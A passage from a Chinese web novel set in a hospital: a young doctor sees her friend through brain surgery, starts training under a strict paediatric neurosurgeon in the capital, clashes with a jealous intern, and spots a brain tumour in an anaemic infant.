她来找舒映阶学习,哦,说得好听点儿是进修,实际上就是托关系走个后门而已,居然还要顺着她的时间? 来实习还有这些待遇?? 奚阳华带着南栀离开,想好好介绍儿研所的情况,但实在是憋不住,道:“要来学,就认真学,怎么还得等你的时间?” 南栀反问:“你的朋友需要做手术,你要把她丢下不管呀?” 奚阳华:“……,她有自己的家人。” 南栀说:“就是因为她的家人都不方便,没人照顾,所以我才来首都的。” 奚阳华:“……” 这意思是,来找舒教授只是顺便? 南栀好像认真想了很久,艰难道:“学长,真不行,我做不到扔下朋友,你教教我怎么做吧。” 奚阳华:“……” 怎么好像他是一个见利忘义的人?! 奚阳华气冲冲道:“反正你要跟着舒教授,干脆和她一起办公得了!我们这没有多余的办公室!” 南栀耸肩。 她不懂,她才来,她可什么都不知道。 * 在韦初雪动手术前,南栀要找陪护床,在韦初雪的病房休息。 手术后她便会被挪到ICU,到时韦初雪的奶奶就可以在外面看着,每天定时去探视就好。 手术前一夜,韦初雪翻来覆去怎么都睡不着。 南栀睡觉轻,跟着坐起来,去给韦初雪晾水。 医院用的暖壶保温效果太好,得提前倒出来准备。 隔壁病床的病人倒是睡得踏实,站在门外都能听到呼噜声。 南栀把温水递给韦初雪,“还在紧张吗?” “也不是紧张,就是总想一些乱七八糟的事情,”韦初雪叹气,“做病人真辛苦。” 南栀说:“好好治病,将来继续当医生,不当病人。” 韦初雪笑道:“你不说谎话,这话听着倒是不错。” 南栀跟着笑起来,“龙主任都说了,你的情况还不错嘛。” 韦初雪拉着南栀坐下闲聊,“你是大桑村人?” 南栀点头。 “但你好像会的东西很多。” 南栀:“……我们那边有高人。” “高人?怎么有点儿耳熟?” 南栀连“高人”都不敢说了。 韦初雪想不明白,但她的情商比南栀强一点儿,看出南栀不想说,便没再追问。 “你为什么会来做医生啊,有天赋?想学?” 听说消化科的马医生特别后悔没把南栀留在他们科。 南栀犹豫片刻,没撒谎,“我弟弟,一出生就身体不好,没能保住性命,所以我一直想做医生。” 韦初雪道:“很多人都和你一样,挺好的,你和弟弟的感情一定很好吧?” 南栀怔住。 她和弟弟……有感情吗? 说是弟弟,其实他们同岁,而且他经常留在医院,父母也不让她乱碰弟弟。 弟弟偶尔身体好时,看她的目光都很陌生。 南栀含糊道:“应该吧。” 韦初雪问:“你知道我为什么要做医生吗?” 南栀摇头。 “我啊,从小就觉得自己是这个世界的中心,我做什么事都能做好,我爸妈只疼我一个,而且我还有很多朋友,他们都会围着我。我就想,我都这么重要了,当然要做有意义的工作,要做就好好做,我要做救世主,治病救人。” 南栀愣了一会儿,道:“韦医生,我的脸皮都没这么厚。” 韦初雪得意道:“那是我爸妈给我的底气,在你爸妈心里,也是最疼爱你的啊,我经常看见你妈妈来给你送饭。” 黄春兰和南明杰对南栀都很好。 南栀笑笑,“是给陆医生的汤。” “陆医生喝汤?” “我妈说要给他补补。” 韦初雪拧眉,“还要补?恩……” 还好当初没同意。 她说:“陆医生现在正常多了,以前可不太正常,你也喜欢他现在这样吧?” 南栀有些佩服韦初雪。 她问的好多问题,南栀都答不上来。 就好像她不知道该怎么解释害怕谈恋爱、结婚这件事,她自己都认为没必要。 南栀如实道:“都很好。” 不管是现在的陆随,还是原主,都很优秀,才能走到今天这一步。 “我是不喜欢太畏首畏尾的人,”韦初雪说,“不过陆医生现在不这样了,你们可要好好的,陆医生不重要,陆教授比较重要。陆医生……” 不知何时,打呼噜声已经停下。 隔壁病床的男人可怜巴巴地对二人说道:“姐姐们,能别提医生了吗?” 这一声又一声地叫医生,他心里害怕啊! 第74章 第74章脑子 韦初雪原定的手术时间是下午,龙潭上一台手术比较顺利,韦初雪被提前推进手术室。 南栀和奶奶一起在手术室外等。 韦初雪的奶奶也是韦宁雨的亲奶奶,但和韦宁雨也不怎么亲,韦家人似乎都只喜欢韦初雪。 现在孙女做手术,奶奶更是急得很,一秒钟都静不下来。 南栀象征性地安慰道:“手术难度不高,龙主任的经验很丰富。” 奶奶还记着和南栀的“仇”,“我儿子儿媳到现在还没出来,别以为我不知道是咋回事。” “哦,”南栀说,“虽然龙主任手术经验丰富,但毕竟要打开脑子,情况还是很严峻的,您继续担心吧。” 奶奶:“……” 这对吗? 手术一共持续两个小时。 手术室门口的红灯灭了,龙潭穿着手术服走出来,“手术过程顺利,病理结果很快就能出来,别担心。” 奶奶追问道:“是恶性的还是良性的,我们家初雪以后还要再动手术吗?” 龙潭看向南栀,“没和老人家解释。” 南栀真诚道:“我说了,老人家不愿意听我的,不管是良性肿瘤还是恶性肿瘤,开脑子就是很危险嘛。” 龙潭:“……” 南栀继续说:“凡是手术,都有风险,谁也没办法打包票,龙主任,您说对吧?” 龙潭:“……” 她可别说了。 韦初雪的手术做完,人被送到ICU,结果很快出来,的确是良性肿瘤,只是比一般的良性肿瘤稍微难对付。 但龙潭做过很多台类似的手术,完全应付得过来。 确定韦初雪安全后,南栀便准备去儿研所报到。 舒教授说了,没时间教她太久,她可能只能待一两个月。 一两个月对南栀来说很宝贵,她得抓紧时间努力。 沈玫带她 去了宿舍,儿研所的宿舍都是小单间,一间房十平米左右,屋内配有床、桌椅板凳和衣柜,其他东西需要自己准备。 床是单人铁床,桌椅也是最普通常见的,像是学校里的长课桌。 沈玫曾经也想到宿舍来住,一看到这里的环境都打消念头,现在只有奚阳华还心心念念着单人宿舍。 沈玫道:“你刚过来,缺什么我可以带你去买,像是暖壶啊,被褥啊,都得先买一套,其他的可以慢慢来。医院有食堂,三餐都有,可以去食堂吃,我们这边吃饭不需要票了,拿钱就行。” 南栀为难道:“我带的钱不多,我得给我爸妈打个电话。” 她来的时候,没想过这么快就能来儿研所,路上不敢带太多钱。 火车嘛,扒手很多,现在的人出门都得在内衣上缝个口袋,钱全放在里面,再缝死。 南栀担心她带的钱不够。 沈玫问:“你带了多少钱?” 南栀去翻背包和衣服。 她取出被缝起来的五百块钱,“就这些。” 话音刚落,刚被翻过的包里滚出一个“圆柱体”。 这圆柱体用黄纸包着,南栀打开一看,是一卷百元钞票。 沈玫:“……” 南栀又去看背包其他口袋,又找出两个信封。 沈玫:“……” 应该是箫珵或者黄春兰塞进来的。 南栀:“咳,应该够了。” 沈玫先带南栀去买生活用品。 首都的百货大楼比临川市的壮观得多,不像市集,有点儿商场的影子。 街上的年轻人打扮得相当时髦,有很多穿大衣、烫头发的。 沈玫看着南栀的衣服说道:“你长得这么好看,穿这些衣服都配不上你,反正你钱还够用,我带你去买两身衣服?” 南栀拒绝道:“衣服能穿就行了,上班都得穿白大褂。” 外套再好看,也没什么机会穿。 沈玫感慨道:“你也太节俭了,你还年轻呢,这个时候不打扮自己,什么时候打扮?” 南栀看向沈玫。 沈玫很会打扮,烫过头,还不是那种密密麻麻的小卷,平时扎马尾,造型比街上的所有人都要时髦。 但她的衣服却很宽松,看起来配不上她的发型。 南栀上次过来,沈玫穿的也是类似风格的衣服。 南栀道:“我没学的东西太多了,而且待不了多久,时间太紧了。” 两人能出来的时间不多,沈玫还有其他任务。 她们逛了大概一个小时便回到儿研所,在宿舍楼下,沈玫叮嘱道:“我不上楼了,你收拾好了去找舒教授,舒教授比较严格,尤其不能迟到,如果惹舒教授生气,以后你可能都没机会了。” 南栀连连点头,“谢谢学姐。” 沈玫回到办公室。 她和奚阳华都是来实习的,只能留在神外医生的办公室。 儿研所医生多,神经外科光是副主任就有四个人,主治医师更多。 沈玫和奚阳华都是这一届的优秀学生,不然不会来跟舒映阶。 正因如此,奚阳华不是很想挤在人多的办公室,他们连个正经的办公桌都没有。 奚阳华坐在沈玫这边,表情严肃。 沈玫知道他在意什么,笑道:“舒教授说了,只是暂时的,等你真的到儿研所来上班了,肯定会有新的办公桌的。不是说副主任们都要有自己的办公室吗?以后地方就宽敞了?” 奚阳华道:“以后还要去其他科室,我不想去,我就想留在神外。” 沈玫说:“其实其他科室也不错,比较成熟,神外相对来说没那么成熟。” “正因为不成熟,才需要更多的人才来建设。” 沈玫没再说什么。 奚阳华手里还有一堆琐碎的活儿,比如跑跑腿送单子。 他把单子丢在桌子上叹气,“这是我该做的事吗?” 沈玫站在一旁喝水,没接话。 他们都还只是学生,所有人来儿研所,都是从跑腿开始,没有一上来就去跟门诊的。 舒映阶要求严格,对研究生的要求也高,跑腿的活儿很少。 舒映阶的严格、脾气差是远近闻名的,但想跟舒映阶学习的学生仍然挤破头,就是因为跟着她真的能学到东西。 这些奚阳华都知道。 奚阳华忽然想到前几天见过的那位让他不太开心的人。 “她不是说朋友开完刀就要过来,应该做完手术了吧?” “南栀?我刚陪她去百货大楼,她现在已经在宿舍了。” 奚阳华瘪嘴,“舒教授还真让她走后门,舒教授怎么会允许她来进修?她只是个小地方的医生吧?” 沈玫道:“听帮南栀传话的护士说,她是陆教授介绍来的。” “果然是走后门。”奚阳华整理好单子,弯唇道,“她来也好,就把这些单子都交给她,省得我跑腿了。” 沈玫瞥了眼单子,又看看奚阳华,没赞同也没反对。 半个小时后,南栀整理好宿舍,赶到舒映阶的办公室。 主任办公室和普通医生的办公室有一定距离,舒映阶不在办公室,南栀又摸索到神外去。 办公室内医生有不少,分成几拨人凑在一起,沈玫朝她招手,“这边。” 南栀露出笑容,“学姐,我坐在哪里呀?” 沈玫看向奚阳华。 奚阳华懒洋洋道:“不着急,先把这些工作处理完,舒教授管得严,别给舒教授丢脸。” 他把那些单子都塞给南栀。 南栀一看,这差不多就是她刚去康宁医院时做的工作,纯跑腿。 她能留在儿研所的时间很有限。 南栀问:“这是舒教授交给我的工作?” 奚阳华点头,笑眯眯道:“我们都一样,都得从最基本的做起。” 南栀道:“我们怎么会一样?” 奚阳华笑容僵住:“?” 南栀认真解释,“你是实习生,没有经验,是来儿研所实习的。我已经是医生,准确来说是过来进修的。” 她把单子还给奚阳华,“我才刚到,还没见过舒教授,这些检查单都等着用,舒教授怎么会把这种工作交给还没见到面的人?学长的活儿还是自己做吧。” 奚阳华慢慢坐直,脸色愈来愈差,眼中能看到风暴。 实习生们的插曲影响不到其他医生,甚至都没人看他们的方向。 南栀淡定地看向沈玫,“学姐,麻烦问一下舒教授去哪了?” 沈玫道:“神外门诊。” “谢谢。” 沈玫问:“你知道怎么走吗?” 南栀点点头。 南栀离开许久,奚阳华吃瘪的脸色才渐渐缓过来,他不满道:“你怎么总帮着她?” 沈玫说:“舒教授已经决定留下她了,难道你想和舒教授过不去?只是问舒教授的去向而已,谁都知道。” 奚阳华虽然聪明,行为举止却太幼稚,沈玫看在他们是同学的面子上点到为止。 奚阳华却没领悟到她的用意,嘲讽道:“一来就跑门诊,她能看病吗?还是给舒教授当助手?他们小医院应该都没有儿外科吧?” 他起身道:“我去看看热闹。” 办公楼单独一栋,旁边是住院楼,门诊大楼靠近儿研所大门,神外的诊室就在一楼。 南栀一直在其他楼晃悠,来到门诊大楼,对“儿研所”三个字才算有了深刻认知。 一进门诊楼,遍地都是小朋友。 看消化科的、呼吸科的、内分泌、心血管…… 以前只有儿科门前哭喊的小朋友多,现在是全都一个样。 南栀:她上辈子杀人放火,这辈子才和小朋友们结下不解之缘。 南栀已经研究过诊室位置,她小心翼翼避开小朋友们,来到神外的诊室。 神外一共有三个诊室,两个是普通门诊,一个是专家门诊,专家门诊是副主任医师以上才能去的。 舒映阶正在给患儿看病。 首都儿研所就是全国最好最专业的儿童医院,会来儿研所的患儿,病情都不简单。 舒映阶过号也慢。 南栀等了一会儿,家属才把孩子带出去,南栀走进去。 舒映阶正在写病历,她瞥了南栀一眼,低下头继续写病历。 南栀乖巧站好,“舒教授,我能做点儿什么吗?” 专家都得配个助手,舒映阶的办公室里只有她一个人,连个助手都没有。 奚阳华紧跟着走进来,“舒教授。” “来了,”舒映阶示意奚阳华坐下,“正好小钱有点儿事,你顶上。” 奚阳华看向南栀,朝她微微一笑。 南栀一直在等舒映阶分配任务,没注意到奚阳华,奚阳华都快笑完了,南栀才看过来。 南栀:“?” 奚阳华:“……” 这女的是个傻子吧!! 舒映阶又对南栀说道:“你先去转转。” “好的,”南 栀问,“我应该去哪里转转?” “儿研所有很多科室,都是专门为儿童开设的,和普通的综合医院不一样。在我们这里,是怎么给孩子们治病的,你都要去看看,你以前待的地方,应该不给儿科细分科室吧?” 这倒是,康宁医院只有儿科,连儿外科都没有。 因为缺人,她们这些儿科的医生什么都得懂一些,如果解决不了,就要推荐他们去更具体的科室,还是很麻烦的。 南栀高兴地领命。 奚阳华不懂这有什么好开心的。 让她去看其他科室,不就是不想留下她的意思? 看来舒教授只是碍于陆教授的面子,不得不留下她,没想着多用心教嘛。 奚阳华堵着的心松快不少。 舒映阶道:“下周还要再来实习生。” 奚阳华:“这么多?” “都有抱负,是好事,但是首都医科大学的学生,基本是人才,要挑到最有天赋最努力的,才是最重要的。” 奚阳华挺直腰板微笑。 他嘛,就是人才中的人才,有天赋的代表。 电话响起。 舒映阶放下钢笔,拿起话筒,刚听了两句便看向奚阳华。 “让你送的单子去哪了?” 奚阳华笑容僵住。 “……” 光顾着看南栀了,忘了。 “这种事还要我提醒你?!”舒映阶道,“回去抄书,两遍!” 奚阳华:“……” 南栀这个祸害!! 南栀穿着白大褂、戴口罩,在医院里一点儿也不显眼。 她在各个科室乱晃悠,也没人在意她。 病人们以为她是科室医生,医生护士们以为她是同事。 反正在同一个医院工作也不见得会认识。 科室分得细好处很多,儿研所的医生们都很专业,家属说上那么几句,医生们便有论断,南栀在旁边听着都觉得受益匪浅。 南栀一直转悠到消化内科。 科室的门开着,里面有患儿,南栀站在门口听着。 是一个老人带着孙子来看病,孩子还不到一岁。 郑岩说:“我们去了其他医院,说是贫血,是血液科,说缺铁,我们一直在补铁,有好几周了。” 医生道:“已经补了八周铁,血红蛋白还是6.2?补之前是……” 他在一堆检查报告中翻找,“哦,补之前6.0,这根本没什么作用。” 郑岩道:“是啊,你看这孩子,一直都不舒服,脸色也不好,补铁没效果,医生建议我们来儿研所看看。我赶紧带着孩子过来了。” 孩子才十个月,面色苍白,小脸上一点儿笑容都没有,但挺乖巧,没哭。 不哭也不是好事,他这么大的孩子,不舒服还不哭,可能更严重。 婴儿没法很好地表达痛处。 医生问:“足月生产?” “是十个月。” “什么时候开始不正常的?” “六个月时还没什么,还能自己坐起来,之后就不太对劲了,容易生气,表情也不对,说实话看着挺瘆人的,好像不是我孙子,像被人附身了。” 郑岩还给孙子请过看风水的大师。 大师说是家里有脏东西,去给做法,做了一通,孩子好像好了几天,但很快又不行了。 医生道:“体重9.4公斤,头围……嚯,头挺大。” 郑岩道:“我闺女就头大。” “你是姥爷?孩子爸妈呢?” 郑岩冷笑道:“她?就别指望她了,一点儿当妈的样子都没有,每天出去疯玩。” 医生笑道:“年纪不大吧?正常,过两年就好了,所以啊,结婚生孩子这事,得到年龄才行,不然自己还是孩子。” 郑岩道:“我这也没办法,唉,孩子都不听话。” “别太着急,先查个粪便,看看是不是有寄生虫。不行再做个肠镜,小肠病变也有可能,做个空肠活检。” 这些郑岩都听不懂,医生给开什么检查,他就带着孙子去做什么检查。 小孩在他怀里不哭也不闹,看起来和郑岩关系不错。 不明原因的贫血,如果在消化科查不出问题,估计还要再跑好几个科室。 南栀弱弱地举起手,“不好意思,能问一下孩子出生时的头围吗?” 南栀旁边还有几个患者家属。 医生和郑岩一起回头。 医生奇怪道:“你是?” 南栀说:“是舒教授让我来看看。” 医生不认识南栀,但认识舒教授。 在儿研所,就没有不知道舒教授的。 “舒教授都知道这事了?”医生惊悚道,“舒教授派人来盯着我了?好吧,家长,配合一下,孩子出生时头围多少?” 郑岩想了一会儿,犹豫道:“三十多厘米?不过其他医院的医生说了,头大遗传,我妻子、女儿,头都大。” 南栀道:“把头大归于遗传不太妥,他前囟大,头围大,如果消化内科这边查不出什么,建议去神外拍个片子。” “神外?”郑岩看向医生。 医生道:“就是去看脑子。” “小椎是脑子的问题?不可能吧,他只是贫血,没其他毛病。” 医生说:“既然是舒教授的意思,你们做完检查还是再去神外看一看,舒教授是儿研所的招牌,你们打听打听就知道了。” 郑岩半信半疑。 在消化内科做的检查还得等一会儿,南栀很听舒映阶的话,继续去其他科室学习参观。 一个小时后,郑岩带着孙子出现在神外诊室门口。 他没排舒映阶的号,今天如果自己过来,肯定是看不上病了,消化内科的医生特意给老人家带路,“舒教授,这就是你关心的那位病人,我把人领过来了,在消化内科做的检查都没问题,您再给看看吧。” 舒映阶看了眼郑岩,“我?” 医生笑道:“是啊,您让一个医生过去提醒患者家属来神外,我这不就给您带过来了。” 舒映阶接过病历和检查报告。 奚阳华道:“是徐医生吗?” 医生说:“我不认识,徐医生我也不认识。” 这就很奇怪了。 奚阳华仔细打量小椎。 “头有点儿大,贫血?舒教授,是您的病人?贫血和头大有关系吗?” 舒映阶已经看完病历,“是南栀吧?她让患者来神外?” 医生就更不认识南栀了。 “南栀?”奚阳华反应比患者还要大,“她让来神外?她怎么敢?” 小地方来的医生,跑到其他科室指手画脚,这事传出去,神外都得跟着一起丢人。 奚阳华虽然还不能确定留在神外,但他可一心给舒映阶当徒弟,其他人给他做师父他还瞧不上呢。 舒映阶问:“抄书不够累?” “舒教授,我只是担心……” 舒映阶面无表情。 奚阳华不想再多抄几遍书,只好闭嘴,心里还是不服气。 舒映阶对医生说道:“我知道了,谢谢你送人过来。” 医生笑眯眯地离开。 舒映阶又对郑岩说:“头大不能归结为遗传,先去拍个片子,做CT。” 郑岩点头,“我们就是来做检查的,刚刚那个小医生也是这样说的。” “谁?” “您派过去的那位呀。” 舒映阶放下病历,看向奚阳华。 奚阳华别扭道:“真能是脑子的问题?” 舒映阶道:“老老实实的,别惹事,我不喜欢挑事的人。郑先生,带着孩子去做检查吧。” CT结果还要再等几个小时。 儿研所的患者多,郑岩今天下午才带孩子去拍片子,今天估计是拿不到结果了。 舒映阶给CT室打了电话,要他们出了结果就告诉她。 奚阳华问:“小椎为什么会贫血?” 正巧南栀看了一圈回来,“舒教授,这里的儿科诊室和我们那 边差距好大诶,还是专科好。” 舒映阶放下小椎的病历,不动声色道:“不是所有的儿童医院水平都高,有的地方的儿童医院,还不如综合医院。” 南栀难得嘴甜,“儿研所肯定很厉害。” 她遇到的每个医生都很有水平! 不会像在临川,经常有误诊的情况。 若是疑难杂症,误诊倒也常见,但来儿研所的患儿情况本身就复杂,基本上每个医生都能把各方面考虑到。 要说看一眼就确诊那不可能,但儿研所总算有点儿大医院的样子了。 比恩德医院强多了! 舒映阶道:“我不吃这套,说说这个病历。” 她把小椎的病历递给南栀。 “你让他们来神外?” 南栀瞟了一眼,道:“他的头围太大,不太正常,我担心有肿瘤。” “人家头大就说人家有肿瘤?”奚阳华道,“你能不能心疼心疼这些孩子和家属,他们生的不是小病,是在其他医院看不了,才来咱们儿研所,你知道这些检查要花多少钱吗?” 南栀问:“他们来儿研所干嘛?” “看病啊。” “看病,做检查,不对吗?”南栀崇拜道,“学长,你全靠眼力看病啊,好厉害哦!” 南栀的夸赞很真心实意,她毕竟是从后世来的医生,虽然一直注意学习使用听诊器还有其他望闻问切的本事,但还是会在一定程度上依赖机器。 她刚去康宁医院时就不太适应,想做的检查有一半都做不了。 奚阳华能有这摆脱机器的本事,当然厉害啦。 奚阳华:“……” 他从南栀眼中只看到两个字:嘲讽。 舒映阶道:“到底是不是脑子的问题,CT结果出来就知道了。” 奚阳华的嘴快瘪没了。 舒映阶又递给南栀一张排班表,“记住我出诊、上台的时间,这两个月手术比较多,凡是我去手术的,你都要做准备,随时上台。” 南栀原本都做好被丢在门诊的准备,一听说能上台,赶紧点头,就怕舒映阶反悔。 奚阳华更加坐不住,“老师,她才刚来,以前都没接触过小儿外科,让她上台?” 舒映阶做的手术,可都是难度极高的大手术。 奚阳华还没做过助手呢。 舒映阶问:“对我的安排不满意?” “……我不是这个意思。” “没有不满意就少说话,”舒映阶道,“平时挺沉稳的人,这两天怎么了?火烧尾巴了?” 奚阳华:“……” 舒教授怎么总是向着南栀?! 奚阳华找到将南栀带来的护士,“那个小姑娘到底什么来路,是陆教授的亲戚?” 不然他想不通为什么能把后门走到这个程度。 护士也不知道,她惊讶道:“舒教授把她留下了?” “何止是留下,还让她跟着上台。” “她有这么厉害?!” 真是一点儿都没看出来! 那可是要求极高的舒教授,这次去神外实习的两个研究生成绩都是拔尖的! 护士猜测道:“说不定她是在老家的医科大学念书,成绩很好,她老家的医科大学也不错?” 奚阳华:“临川?” 护士:“……没听说过。” 奚阳华问:“能不能查查她的背景?” “这我可做不了,不过……就算来进修,也得走程序,应该能找到她的信息吧。怎么,你对她有兴趣?” 奚阳华道:“我可没这闲心。” 话虽这样说,奚阳华的身体还是很诚实地联系了认识的医生。 医院绝大部分人都没听过南栀这号人物,但还真有给南栀办手续的人记得她。 奚阳华给人家买了两盒中华,对方才笑嘻嘻说道:“你猜我为什么记得她?” 奚阳华不知道。 男人道:“你说我在医院做行政工作,每天要接触多少人?像这么一个普通的小角色,我怎么可能记得住?” 奚阳华道:“难不成她真是什么名牌大学的学生?” “噗,那我就更记不住了!来咱们儿研所的,哪个不是名牌大学的?” 奚阳华更想不明白了,“你不会是看人家长得好看吧?” “长得确实不错,不过还有更劲爆的消息。”男人朝奚阳华钩钩手指,低声道,“这姑娘,没学历。” * 郑岩人没走,他带着孩子离开神外后又去了血液科,虽然先前已经带孩子去血液科查过,但毕竟不是在儿研所,他不放心。 医生的门诊快要结束,他才回到神外,舒映阶特意叮嘱他不要走。 郑岩到时,检查结果刚好出来。 舒映阶的门诊还没结束,加号的人多,她得加班。 南栀安慰道:“影像室的同事会帮我们把结果送过来,你们别着急,先等一等,马上就有结果。” 郑岩点点头。 他还是不太明白贫血为什么要查脑子,但是消化内科和血液科都没查出什么,来都来了,不差这一会儿。 影像室的同事没等来,南栀等到了气冲冲的奚阳华。 南栀左右看看,“学长,你在和谁生气?” 奚阳华:“……,你认为是谁?” 南栀耸肩,“不清楚诶,这里应该没人会惹你生气啊。” 尤其是她,多乖巧,哪里敢得罪学长学姐。 奚阳华:“……” 这阴阳怪气的功底也不知道是跟谁学的! 奚阳华道:“你别管我叫学长,我受不起。” 南栀很听劝,“好的奚阳华。” 奚阳华:“……” 南栀:“没办法,你还不是医生,又不能叫奚医生。” “……” “也不是护士,不是领导,怎么称呼都不合适。” “……” “难道我记错你的名字了?不会呀,我记性很好啊。” 奚阳华的头比小椎还痛。 “先不说这事,”奚阳华问,“你骗舒教授的事,她知道吗?” “我?我没有骗人啊,我不会骗人的。” “你还好意思撒谎?你根本就不是医学生!” 南栀很无辜,“我没说过我是医学生啊。” 奚阳华:“……” 好像的确没说过。 “你不是医学生,怎么好意思来找舒教授,这不是耽误她的时间吗?” 南栀有点儿同情奚阳华,“你好像理解力不太行,我再解释一下,我是医院的儿科医生,是陆教授推荐我来找舒教授。” “你不是医学生,凭什么在医院当医生?” “我们那边有培训班,毕业了就能拿到证件。” 奚阳华:“……” 还有这么不正规的方式?! 他要告到中央!! 奚阳华气冲冲往诊室里冲,“我要告诉舒教授!” 南栀没拦他。 很快,诊室里传来舒映阶的怒吼声,“看不到病人在吗?冒冒失失的,回去多抄两遍书,抄不完别过来!” 奚阳华喜提抄书四遍。 南栀心有余悸,“可不能得罪舒教授,抄书也太浪费时间了。” 被迫抄四遍的奚阳华:“……” 这死丫头是故意不拦他的吧?! “你真是可恶,不是医学生,跑来浪费舒教授的时间,还对医生的诊断指指点点,你……” 这话南栀可不同意,“我哪有指指点点?” “你让人家来神外做检查!” “舒教授也说应该做呀。” “那是没办法!人都来了,能赶走吗?!” 南栀大惊失色,“你的意思是,舒教授明明知道患儿的病与大脑无关,还给他们开检查?!” “呃……” 好像有哪里不太对。 南栀撸起袖子,“这可不行!这是在坑患者,我得和舒教授说清楚!” 奚阳华赶紧拽住南栀,“姑奶奶,你可做个人吧。” 南栀是不是专门来克他的? 恰好小椎的片子、检查报告都送了过来。 影像科的医生气喘吁吁道:“赶紧看看吧,给安排个床位,别再耽误了,我还有事,先走了。” 奚阳华狐疑地看向手中的报告。 郑岩抱着孙子走了过来,“医生,我孙子没事吧?脑子没出问题吧?” 奚阳华安抚道:“没什么大事,别担心。” 说着,他取出片子。 都是在神外实习的,大家都能看懂片子,南栀露出早就预料到的表情,“果然。” 奚阳华的神情逐渐僵硬。 怎么可能…… 南栀:“果然有肿瘤,看CT结果,肿块占据右大脑半球的三分之二,有明显的肿瘤压迫,而且伴中心坏死。颅骨摄片显示骨缝分离。血管造影……你看,肿块含有丰富的毛细血管,看来舒教授没开错检查哦。” 奚阳华:“……” 真是肿瘤。 还不是普通的肿瘤,是 超大的肿瘤。 这是头围巨大、发育迟缓还有贫血的原因? 奚阳华看向南栀,目光呆愣。 南栀说:“你不用担心了,舒教授确实没开错检查。” 奚阳华:“……” 是这么回事吗?! 第75章 第75章责任啦 小椎被安排进神外的病房,术前检查顺利,就要进行开颅手术。 两个小时后舒映阶结束门诊,带南栀几人去病房。 除了南栀三人,还有两个主治医生。 沈玫走在队伍最后面,小声说道:“舒教授就住在宿舍楼,她平时工作特别认真,晚上都会来住院部看看,大部分时间都在做手术、出门诊,其实科研方面没以前抓得那么紧了。” 舒映阶和陆嘉述的爱好似乎正相反。 “唉,我们也是有苦说不出,跟着舒教授,自己就得累点儿,但也没法说什么,舒教授比我们还辛苦。” 沈玫看起来很想下班。 其他人也是如此,兴致高的人大概只有南栀和奚阳华。 一个一门心思争第一,一个要抓紧时间学习。 舒映阶手中的病人,都是手术难度极高的。 南栀一边看病人的病历,一边记住他们的名字和脸,还要听舒映阶问话。 精细程度都快赶上早晨查房。 几人最后来到小椎病床前。 郑岩正在给小椎换尿布,换下来的尿布直接丢进冷水里洗,他年纪不小了,劳累一天体力不济,晚上还不能休息,弯腰时的模样很狼狈。 奚阳华问道:“孩子的父母不能过来吗?你一个人照顾不了孩子,手术前还有很多事情要做,把他们叫来吧。” 郑岩苦笑,“这个孩子,不中用啊,我闺女年纪太小了,还没做好当妈的准备。” 南栀问:“小椎的父亲呢?” 郑岩收起笑容,脸色不太好。 沈玫提醒道:“别问病人的私事,会给自己惹麻烦。” 南栀便没追问。 郑岩一直强调自己女儿年纪小,又不愿意提男方,看起来挺奇怪的。 舒映阶查看小椎的状态后,说道:“这是一起典型的颅内肿瘤表现为缺铁性贫血的病例,患肿瘤时,贫血是最重要的血液系统症状,在无法查出贫血原因时,可以考虑是否为肿瘤。不过并非所有肿瘤患者都会表现出贫血,有数据表明,一组肿瘤患者,小细胞、低色素性贫血的发生率仅有3%。” 奚阳华连连点头。 他就说嘛,这不常见,不然他不会不知道的。 奚阳华问道:“为什么小椎会有贫血的表现?” 主治医生们神色凛然,接连低下头。 这个奚阳华,可显着他了,每回都要提问!提问就提问,问题是舒教授她会借此教学啊! 教学就教学,问题是…… 果不其然,舒映阶的目光已经在几人中间游走。 大家尽量装得不在意些,低头的瞬间都在互相瞪眼。 虽然没发出声音,但意思很明确——你去! 舒映阶的目光落在南栀身上。 大家一起松了口气,然后好奇地打量南栀。 他们留意到多了一个人,但都不知道这个人是做什么的。 看起来和沈玫、奚阳华一样是来实习的,但年纪又比他们更小。 儿研所的医生学历都很高,没有这么年轻的。 大家都在等南栀的答案。 舒教授喜欢随地大小问,这一点他们可是真怕了。 虽说都能答上来一些,奈何舒教授的标准高,稍微不注意就得挨训。 他们还挺好奇南栀的答案的。 奚阳华同样幸灾乐祸地看着南栀。 他对肿瘤的关注度不高,不知道问题的答案。 南栀肯定也不知道,她连正经学历都没有,靠什么培训班当医生,也不知道是陆教授多硬的亲戚,陆教授才会把人推荐过来。 反正能看到南栀挨训,也是件快乐的事。 南栀已经看过小椎所有检查报告,她不假思索道:“红细胞在伴中心坏死的肿瘤中被破坏,肿瘤富含血管,且重量占患儿体重的5%,占脑重量的60%,有血管、占比大,所以表现出贫血的症状。” 病房内鸦雀无声。 主治医生们没心思判断南栀的回答对不对,他们只关心舒教授会不会骂人。 一秒过去、两秒过去,舒映阶淡淡道:“脑肿瘤患儿缺乏特异性临床症状,会妨碍早期诊断,以后要多注意。” 此事被掀过去。 舒映阶没有表扬南栀,但所有人都知道,没挑刺就是完美的答案。 或许受科技限制,将来还会有更好的答案,但绝对是目前为止最好的答案。 舒映阶先离开病房。 主治医生们碰碰南栀的胳膊,小声道:“厉害啊,哪来的?” 南栀道:“我是从临川来的。” “啊?哪个省?” 奚阳华目光复杂,想嘲讽两句,偏偏舒映阶刚刚又没凶她。 这种“考试”奚阳华经历过很多次,每次被训,他回家都会复盘,争取下次答得更好,但南栀居然没挨训。 这比奚阳华自己挨训还让人揪心。 “临川市康宁医院的,没上过医科大学。” 南栀惊讶道:“你对我的经历还真是一清二楚,大家来医院都会被调查吗?” 主治医生赶紧说:“我们可不会查别人,我都不知道你是从哪里来的,至于他嘛……呵呵。” 奚阳华:“……” “小奚没必要不高兴,人外有人山外有山,就算是小地方来的,也有遗珠。” 奚阳华嘀咕道:“但没接受过系统的训练,无法苟同。” “能回答舒教授的问题就行呗,你刚刚怎么不回答?” 沈玫提醒道:“他刚刚是提问的。” 主治医生立刻笑嘻嘻接话,“下次你就直接问……你叫啥?” 南栀礼貌地自我介绍,“南栀,栀子花的栀。” “你就问南栀!” 奚阳华:“……” 大家对南栀的接受度好像都挺高。 奚阳华搞不明白,他们这些寒窗苦读才换来一个实习机会的人,被没有学历走后门的 人挤走难道是好事?? 几人跟着舒教授离开病房。 接下来舒教授还会去实验室待一会儿,明天她还有门诊。 舒映阶是整个儿研所最忙,也是最辛苦的人。 其他人都可以下班,只有南栀留在宿舍住。 舒映阶让南栀去办公室看论文。 南栀看向奚阳华,“请问我的办公室在哪里?” 舒映阶看过来,“还没安排?” 奚阳华本来是想给南栀一个下马威,没料到她会在舒映阶面前直接问,尴尬道:“在准备,办公桌不够用,现在办公室没位置,我和沈玫也是挤在一起的。” 南栀说:“奚阳华说我该去您那边,我刚来,不知道什么情况。” 